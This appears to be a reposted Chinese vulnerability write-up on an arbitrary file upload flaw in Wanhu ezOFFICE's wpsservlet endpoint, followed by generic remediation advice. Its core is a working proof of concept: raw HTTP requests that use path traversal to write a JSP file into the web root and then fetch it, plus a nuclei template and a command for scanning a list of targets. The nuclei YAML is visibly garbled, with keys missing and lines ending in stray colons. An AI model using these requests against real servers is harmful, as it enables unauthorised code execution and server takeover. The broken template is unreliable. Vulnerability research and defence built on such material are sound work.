免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
万户ezoffice wpsservlet任意文件上传漏洞
02
—
漏洞影响
万户ezoffice
03
—
漏洞描述
万户ezOFFICE协同管理平台是一个综合信息基础应用平台分为企业版和政务版。解决方案由五大应用、两个支撑平台组成,分别为知识管理、工作流程、沟通交流、辅助办公、集成解决方案及应用支撑平台、基础支撑平台。万户ezOFFICE协同管理平台wpsservlet接口存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
04
—
app="万户网络-ezOFFICE"
05
—
漏洞复现
向靶场发送如下POC数据包,newdocId和filename参数表示写入文件名称,dir参数表示写入文件的路径,fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
GET /defaultroot/platform/portal/layout/apoxkq.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
响应数据包如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 8
Content-Type: text/html;charset=UTF-8
Date: Thu, 14 Dec 2023 10:09:01 GMT
Server:
Set-Cookie: OASESSIONID=5EEDBA408E9701666D626C0348D0A96B; Path=/defaultroot
X-Frame-Options: SAMEORIGIN
sasdfghjkj
漏洞复现成功
06
—
nuclei poc
poc文件内容如下
id: wanhu-ezoffice-wpsservlet-fileupload
info:
name: 万户ezoffice wpsservlet任意文件上传漏洞
author: fgz
severity: critical
description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台分为企业版和政务版。解决方案由五大应用、两个支撑平台组成,分别为知识管理、工作流程、沟通交流、辅助办公、集成解决方案及应用支撑平台、基础支撑平台。万户ezOFFICE协同管理平台wpsservlet接口存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。
tags: upload,wanhu,2023,ezoffice
metadata:
app="万户网络-ezOFFICE" :
verified: true
1 :
variables:
file_name: "{{to_lower(rand_text_alpha(5))}}"
file_content: "{{to_lower(rand_text_alpha(8))}}"
boundary: "{{to_lower(rand_text_alpha(32))}}"
requests:
raw:
|-
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId={{file_name}}&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 :
gzip, deflate :
DNT: 1
Connection: close
1 :
multipart/form-data; boundary={{boundary}} :
200 :
--{{boundary}}
form-data; name="NewFile"; filename="{{file_name}}.jsp" :
out.print("{{file_content}}");%>
--{{boundary}}--
|
GET /defaultroot/platform/portal/layout/{{file_name}}.jsp HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 :
gzip :
and :
matchers:
type: word
part: body
words:
'{{file_content}}'
type: status
status:
200
运行POC
nuclei.exe -t wanhu-ezoffice-wpsservlet-fileupload.yaml -l ezOFFICE.txt
07
—
修复建议
以下是一些建议,可以帮助修复和防范任意文件上传漏洞:
-
文件类型检查: 在上传文件之前,进行文件类型检查是至关重要的。确保只允许上传安全、合法的文件类型,通过检查文件的文件扩展名、MIME类型等来验证文件的合法性。这不是完全可靠的措施,因为攻击者可能伪装文件类型,但它是一个有效的第一层防御。
-
文件大小限制: 设定上传文件的大小限制,以防止攻击者上传过大的文件导致服务器资源耗尽或拒绝服务。确保限制足够小,以适应应用程序的需求,并减少攻击面。
-
独立存储区域: 将用户上传的文件存储在与应用程序代码和系统文件分开的独立存储区域。使用不同的域名、服务器或存储系统来隔离用户上传的文件,以减轻潜在的攻击影响。
-
随机文件名: 将用户上传的文件重新命名为随机生成的唯一文件名,而不是使用原始文件名。这可以防止攻击者通过上传具有恶意文件名的文件来绕过文件类型检查。
-
权限控制: 设置适当的文件和目录权限,确保只有授权用户能够访问和执行上传的文件。限制文件的执行权限,特别是对于用户上传的非图像、非文档类型的文件。
-
安全的上传处理: 在后端处理上传的文件时,确保使用安全的处理库和方法。一些语言和框架提供了专门用于文件上传的安全库,使用它们可以降低风险。
-
实施WAF(Web 应用程序防火墙): 使用Web应用程序防火墙来监控和过滤传入的文件上传请求,以检测并防止潜在的恶意文件上传尝试。
-
监控和日志记录: 设置监控机制,对文件上传活动进行审计,并记录相关事件。这有助于及时发现潜在的攻击行为,并迅速采取措施进行响应。
通过综合采取这些措施,可以显著降低任意文件上传漏洞的风险,并提高Web应用程序的安全性。
原文始发于微信公众号(AI与网安):万户ezoffice wpsservlet任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论